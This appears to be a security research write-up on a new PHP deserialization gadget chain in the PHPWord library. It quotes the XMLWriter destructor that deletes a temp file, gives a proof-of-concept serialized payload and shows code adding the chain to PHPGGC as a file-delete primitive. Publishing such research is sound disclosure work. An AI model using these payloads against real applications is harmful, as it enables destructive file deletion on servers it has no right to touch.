Hello, today we’re implementing a new gadget chain for the PHPWord PHP library.

A pure PHP library for reading and writing word processing documents.

Who?

alt-text

Why?

Below is the responsible code.

File: src/PhpWord/Shared/XMLWriter.php
Version: Commit 77438025265482ddcf050bce520d3c2b51645108

<?php

...

namespace PhpOffice\PhpWord\Shared;

use Exception;
use ReturnTypeWillChange;

...

class XMLWriter extends \XMLWriter
{
    /** Temporary storage method */
    const STORAGE_MEMORY = 1;
    const STORAGE_DISK = 2;

    /**
     * Temporary filename.
     *
     * @var string
     */
    private $tempFileName = '';

    ...

    /**
     * Destructor.
     */
    public function __destruct()
    {
        // Unlink temporary files
        if (empty($this->tempFileName)) {
            return;
        }
        if (PHP_OS != 'WINNT' && @unlink($this->tempFileName) === false) {
            throw new Exception('The file ' . $this->tempFileName . ' could not be deleted.');
        }
    }

    ...

}

File: src/PhpWord/Shared/XMLWriter.php
Version: Commit f359825cb7abdd0e92fa333237cb37d160504448

<?php

...

namespace PhpOffice\PhpWord\Shared;

use PhpOffice\PhpWord\Settings;

...

class XMLWriter
{

    /** Temporary storage location */
    const STORAGE_MEMORY = 1;
    const STORAGE_DISK = 2;

    /**
     * Internal XMLWriter
     *
     * @var \XMLWriter
     */
    private $xmlWriter;

    /**
     * Temporary filename
     *
     * @var string
     */
    private $tempFile = '';

    ...

    /**
     * Destructor
     */
    public function __destruct()
    {
        // Destruct XMLWriter
        unset($this->xmlWriter);

        // Unlink temporary files
        if ($this->tempFile != '') {
            @unlink($this->tempFile);
        }
    }

    ...

}

File: src/PhpWord/Shared/XMLWriter.php
Version: Commit 07be5eaea326a43fe0c68b6231c4a74e9639dd99

<?php

...

namespace PhpOffice\PhpWord\Shared;

use PhpOffice\PhpWord\Settings;

...

class XMLWriter
{

    /** Temporary storage method */
    const STORAGE_MEMORY = 1;
    const STORAGE_DISK = 2;

    /**
     * Internal XMLWriter
     *
     * @var \XMLWriter
     */
    private $_xmlWriter;

    /**
     * Temporary filename
     *
     * @var string
     */
    private $_tempFileName = '';

    ...

    /**
     * Destructor
     */
    public function __destruct()
    {
        // Desctruct XMLWriter
        unset($this->_xmlWriter);

        // Unlink temporary files
        if ($this->_tempFileName != '') {
            @unlink($this->_tempFileName);
        }
    }

    ...

}

How?

Proof Of Concept

$ git clone https://github.com/PHPOffice/PHPWord.git
$ cd PHPWord
$ php composer.phar install

Then we create the file test.php as follows.

File: test.php

<?php

require_once 'bootstrap.php';

$s = 'a:2:{i:7;O:34:"PhpOffice\PhpWord\Shared\XMLWriter":1:{s:12:"tempFileName";s:9:"/tmp/AAAA";}i:7;i:7;}';
$o = unserialize($s);

?>

alt-text

Adding the gadget chain to PHPGGC

File: phpggc/gadgetchains/PHPWord/FD/1/chain.php

<?php

namespace GadgetChain\PHPWord;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = '*';
    public static $vector = '__destruct';
    public static $author = 'coiffeur';
    public static $information = '
        Note that some files may not be removed (depends on permissions).
        Target versions: commit 77438025265482ddcf050bce520d3c2b51645108, 30 May 2023 (~1.1.0) <= exploitable.
        Depending on the version, the attribute name may vary between "_tempFileName", "tempFile" and "tempFileName".
    ';

    public function generate(array $parameters)
    {
        return new \PhpOffice\PhpWord\Shared\XMLWriter($parameters['remote_path']);
    }
}

File: phpggc/gadgetchains/PHPWord/FD/1/gadgets.php

<?php

namespace PhpOffice\PhpWord\Shared;

class XMLWriter
{
    public $tempFileName;

    public function __construct($remote_path) {
        $this->tempFileName = $remote_path;
    }

}

Thank you for taking the time to read this article.